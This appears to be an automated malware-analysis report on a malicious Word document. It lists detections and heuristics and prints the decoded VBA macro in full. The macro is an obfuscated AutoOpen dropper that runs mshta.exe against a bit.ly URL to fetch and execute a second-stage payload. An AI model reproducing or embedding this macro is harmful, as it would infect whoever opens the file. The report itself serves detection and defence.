MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. The obfuscated script constructs the command 'mshta.exe https://bit.ly/2DL04jz' to download and run a second-stage payload from the provided URL. This indicates a downloader or droppper functionality.
Heuristics 10
-
ClamAV: Doc.Dropper.Agent-9504249-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-9504249-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) Set shell_obj = CreateObject("WScript.Shell") shell_obj.Run nlf -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) Set shell_obj = CreateObject("WScript.Shell") shell_obj.Run nlf -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "NewMacros" Sub AutoOpen() On Error Resume Next -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1476 bytes |
SHA-256: bf20f4b646d1fb9d316301b4f37a4036832c872bfe95822cc93e5d445109ac13 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
On Error Resume Next
Dim shell_obj
Dim wS As String
Dim nlf As String
Dim orgf As String
wS = "Ws"
Sw = "\sta"
wS = wS & "cr"
Sw = Sw & "rtofd"
wS = wS & "ip"
WW = "\Pa"
nlf = "C:\Windows\System32\ms"
wS = wS & "t.Sh"
Sw = Sw & "oc"
nlf = nlf & "hta.exe " & "https://bit"
wS = wS & "ell"
nlf = nlf & "." & "ly/" & "2DL04jz"
WW = WW & "ge"
pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
Set shell_obj = CreateObject("WScript.Shell")
shell_obj.Run nlf
If (pC > 1) Then
PcS = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) + "Feis"
ActiveDocument.Bookmarks(Sw).Select
End If
If (pC > 1) Then
PcS = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) + "LMjoe"
ActiveDocument.Bookmarks(WW).Range.Delete
End If
PcS = "fdjioa" + ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
If (ActiveDocument.Range.Information(wdNumberOfPagesInDocument)) Then
ActiveDocument.Content.Font.Hidden = False
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.